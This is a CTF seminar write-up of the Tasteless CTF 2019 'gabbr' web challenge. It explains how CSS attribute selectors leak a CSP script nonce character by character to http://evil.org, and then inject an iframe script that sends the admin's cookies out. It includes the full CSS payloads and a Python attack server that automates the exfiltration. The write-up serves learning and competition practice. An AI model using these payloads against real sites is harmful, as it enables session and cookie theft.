]> git.somenet.org - pub/jan/ctf-seminar.git/blob - writeups/chgue/tasteless19.md
Add chgue/tasteless19 writeup
[pub/jan/ctf-seminar.git] / writeups / chgue / tasteless19.md
1 # Retrospective
2 I spent most of my time working on gabbr (web). I did have a quick look at babypad (crypto), which was solved quickly by someone else, and beyondcorp1 (web) but I didn't try anything substantial.
3 Working on gabbr on-site with @ph, @stiefel40k and @sumhack was pretty fun and rewarding. This challenge proved that working as a team is necessary for CTF challenges. 
4
5 All in all he CTF was nice and a great learning experience but a bit short for the amount of challenges that were given. I would have liked to attempt beyondcorp1 but the time ran out.
6
7 The gabbr writeup was written together with @sumhack and is therefore identical to his writeup.
8
9 # Tasteless CTF 2019 â€” gabbr (web)
10 ## Overview
11 gabbr is an online chatroom service. Upon loading the page, one joins a chatroom specified in the anchor part of the URL e.g. `https://gabbr.hitme.tasteless.eu/#8f332afe-8f1d-411f-80f3-44bb2302405d`. If no name is specified, a random UUID is generated upon join. The main functionality is to send messages in the chatroom. Furthermore, one can change the username to another randomly generated one, join a new random chatroom and report the chatroom to an admin. Upon reporting an admin joins the chat and stays in the room for 15s. Additionally, the chatroom is based on websockets.
12
13 ## Exploitation
14 ### Gathering intelligence (like the NSA ðŸ˜Ž)
15 Messages are not sanitized, i.e. arbitrary HTML can be injected. 
16 However, the CSP policy is rather restrictive:
17
18 ```csp
19 default-src 'self'; script-src 'nonce-cff855cb552d6be6be760496'; frame-src https://www.google.com/recaptcha/; connect-src 'self' xsstest.tasteless.eu https://www.google.com/recaptcha/; worker-src https://www.google.com/recaptcha/; style-src 'unsafe-inline' https://www.gstatic.com/recaptcha/; font-src 'self'; img-src *; report-uri https://xsstest.ctf.tasteless.eu/report-violation; object-src 'none'
20 ```
21
22 Script tags are only executed if the have the correct `nonce` as an attribute. The nonce is generated server-side on every page load and is specified in the CSP as `script-src 'nonce-cff855cb552d6be6be760496';`. This blocks any other attempts and tricks to execute JavaScript like event handlers. So, to execute JavaScript, one needs to know the 24 characters long `nonce` of the loaded page which we obviously cannot trivially obtain from the admin. What we _can_ do, though, is to load arbitrary CSS and images—`style-src` is set to `unsafe-inline` and `img-src` to `*` which allows for interesting attacks. 
23
24 ### Getting the nonce 
25 After searching on the web for ideas we stumbled upon this article from 2016: https://sirdarckcat.blogspot.com/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html
26 The author describes an attack where one can extract the by using CSS:
27
28 * Firstly, one injects a CSS selector which matches the first character of the nonce.
29 * Upon matching, the CSS selector is set to load a background image from a given URL. Since we know what was matched we can add the matching characters to the request as GET parameters.
30 * By repeating this process for every character, we can reconstruct the whole nonce with 24 messages.
31
32 This fits perfectly since we can inject arbitrary CSS! Therefore, like proper hackers, we copied his scripts. However, the given selectors did not work. Therefore, we began debugging the selectors on our own. After fruitless attempts trying to match the `script` tag using Chrome we noticed something peculiar: Chrome removes the `nonce` from the `script`-tag after it has been loaded. However, Firefox happily keeps the `nonce` in the DOM. Luckily, the attacker uses Firefox as we found out from the admin's user-agent header.
33
34 Our first approach was to match the `script` tag directly: `script[nonce^="a"]`. This should match any `script`-tag with a nonce that starts with `a`. However, this didn't work as expected. After lots of trial and error we figured out that you can't directly match a `script`-tag, but you can use it as part of the selector when selecting other elements. Therefore, we decided to use a sibling selector like this: `script[nonce^="%s"] ~ nav`. Since `nav` is a sibling of the `script`-tag this worked perfectly.
35
36 Using the above method we can send a message like this:
37 ```css
38 script[nonce^="0"] ~ nav {background:url("http://evil.org/?match=0")}
39 script[nonce^="1"] ~ nav {background:url("http://evil.org/?match=1")}
40 ...
41 script[nonce^="f"] ~ nav {background:url("http://evil.org/?match=f")}
42 ```
43 which triggers only if at least one element matches the selector (and as such, only the "correct" request is executed). Suppose the first character is `a`, then our next payload is as follows:
44 ```css
45 script[nonce^="a0"] ~ nav {background:url("http://evil.org/?match=a0")}
46 script[nonce^="a1"] ~ nav {background:url("http://evil.org/?match=a1")}
47 ...
48 script[nonce^="af"] ~ nav {background:url("http://evil.org/?match=af")}
49 ```
50 We can repeat this procedure 24 times to exfiltrate the whole nonce.
51
52 We implemented an attack server in python which receives the successful request and sends another message to the chatroom querying the next character as described above. The next payload is sent to the chatroom directly by connecting to the websocket of the chatroom.
53
54 However, upon trying it out we noticed that only the first request was being sent. This is because subsequent CSS injections have the same specificity as the previous CSS rules, that means that the background fetching isn't executed a second time. We solved this problem by manually curating a set of 24 selectors from least to most important:
55
56 ```css
57 script[nonce^="%s"] ~ *
58 script[nonce^="%s"] ~ ul
59 script[nonce^="%s"] ~ div
60 script[nonce^="%s"] ~ input
61 script[nonce^="%s"] ~ nav
62 body > script[nonce^="%s"] ~ ul
63 body > script[nonce^="%s"] ~ div
64 body > script[nonce^="%s"] ~ input
65 body > script[nonce^="%s"] ~ nav
66 script[nonce^="%s"] ~ #messages
67 script[nonce^="%s"] ~ #status
68 script[nonce^="%s"] ~ #chatbox
69 script[nonce^="%s"] ~ #recaptcha
70 script[nonce^="%s"] ~ nav > a
71 script[nonce^="%s"] ~ nav > #report-link
72 script[nonce^="%s"] ~ nav > #username
73 body script[nonce^="%s"] ~ #messages
74 body script[nonce^="%s"] ~ #status
75 body script[nonce^="%s"] ~ #chatbox
76 body script[nonce^="%s"] ~ #recaptcha
77 body script[nonce^="%s"] ~ nav > a
78 body script[nonce^="%s"] ~ nav > #report-link
79 body script[nonce^="%s"] ~ nav > #username
80 body script[nonce^="%s"] ~ nav > [href="/"]
81 body script[nonce^="%s"] ~ nav > [href="#"]
82 ```
83
84 Putting it all together we managed to get the complete nonce!
85
86 ### Creating an exploit
87 Now that we have the nonce we can inject `script`-tags which bypass the CSP and will be executed. However, directly Ã­njecting `<script nonce="...">alert(1);</script>` does not have any effect because the script isn't being evaluated after the page has loaded. Therefore, to bypass this restriction we include the script inside an `iframe` by specifying it as the `srcdoc`. Our final exploit looks like this:
88
89 ```html
90 <iframe srcdoc="<script nonce=...>alert(document.cookie); var x = document.createElement('img'); x.src = 'http://evil.org/res?c=' + document.cookie;</script>"></iframe>
91 ```
92 Notice that we are trying to load an image rather than sending a request directly because the latter is blocked by the CSP. Luckily, the CSP allows loading images from any origin.
93
94 ### Putting it all together
95 Our final approach was the following:
96
97 1. Enter a chatroom using Chrome so that we are unaffected by the exploit
98 2. Start the exploit server pointed at the chatroom
99 3. Report the chatroom and wait for the admin to join
100 4. Send the initial CSS payload manually through the browser.
101 5. Let the server handle the rest
102     1. Wait for an http request from the admin
103     2. Parse the GET parameter
104     3. Send the next CSS payload via websockets to exfiltrate the next 4haracter
105     4. Repeat until we have the whole nonce
106     5. Send the exploit `iframe`
107     6. Listen for the request from the admin containing the cookies containing the flag
108     7. ????
109     8. PROFIT!!!!
110
111 Below is the final script that ran on the server:
112 ```py
113 from flask import Flask, request
114 import sys
115 import json
116 import websocket
117 import string
118
119 app = Flask(__name__)
120 URL = "http://evil.org:5000"
121
122 payloads = [
123         'script[nonce^="%s"] ~ *',
124         'script[nonce^="%s"] ~ ul',
125         'script[nonce^="%s"] ~ div',
126         'script[nonce^="%s"] ~ input',
127         'script[nonce^="%s"] ~ nav',
128         'body > script[nonce^="%s"] ~ ul',
129         'body > script[nonce^="%s"] ~ div',
130         'body > script[nonce^="%s"] ~ input',
131         'body > script[nonce^="%s"] ~ nav',
132         'script[nonce^="%s"] ~ #messages',
133         'script[nonce^="%s"] ~ #status',
134         'script[nonce^="%s"] ~ #chatbox',
135         'script[nonce^="%s"] ~ #recaptcha',
136         'script[nonce^="%s"] ~ nav > a',
137         'script[nonce^="%s"] ~ nav > #report-link',
138         'script[nonce^="%s"] ~ nav > #username',
139         'body script[nonce^="%s"] ~ #messages',
140         'body script[nonce^="%s"] ~ #status',
141         'body script[nonce^="%s"] ~ #chatbox',
142         'body script[nonce^="%s"] ~ #recaptcha',
143         'body script[nonce^="%s"] ~ nav > a',
144         'body script[nonce^="%s"] ~ nav > #report-link',
145         'body script[nonce^="%s"] ~ nav > #username',
146         'body script[nonce^="%s"] ~ nav > [href="/"]',
147         'body script[nonce^="%s"] ~ nav > [href="#"]',
148         ]
149
150 def exploit(nonce, url):
151     x = """<iframe srcdoc="<script nonce=%s>alert(document.cookie); var x = document.createElement('img'); x.src = '%s/res?c=' + document.cookie;</script>"></iframe>""" % (nonce, url)
152     msg = {"username" : "aaa", "type": "gabbr-message", "content": x}
153     print(json.dumps(msg))
154     socket.send(json.dumps(msg))
155
156 def generate_style(c, url):
157     style = "<style>"
158     for x in "abcdef" + string.digits:
159         style = style + ((payloads[len(c)] + '{ background:url("%s/?match=%s") } ') % (c + x, url, c + x))
160     style = style + "</style>"
161     return style
162
163 @app.route('/')
164 def handler():
165     match = request.args.get('match')
166     print(match)
167     if len(match) == 24:
168         exploit(match, URL)
169     else:
170         send_req(match)
171     return "a"
172
173 @app.route('/res')
174 def res():
175     match = request.args.get('c')
176     print(match)
177     return "a"
178
179
180 def send_req(match):
181     msg = {"username" : "aaa", "type": "gabbr-message", "content": generate_style(match, URL)}
182     socket.send(json.dumps(msg))
183
184 if __name__ == '__main__':
185     uri = "wss://gabbr.hitme.tasteless.eu/" + sys.argv[1]
186     socket = websocket.WebSocket()
187     socket.connect(uri)
188     print(generate_style("", URL)) # This outputs the initial payload, we did it manually to avoid certain concurrency issues
189     app.run(host="0.0.0.0")
190 ```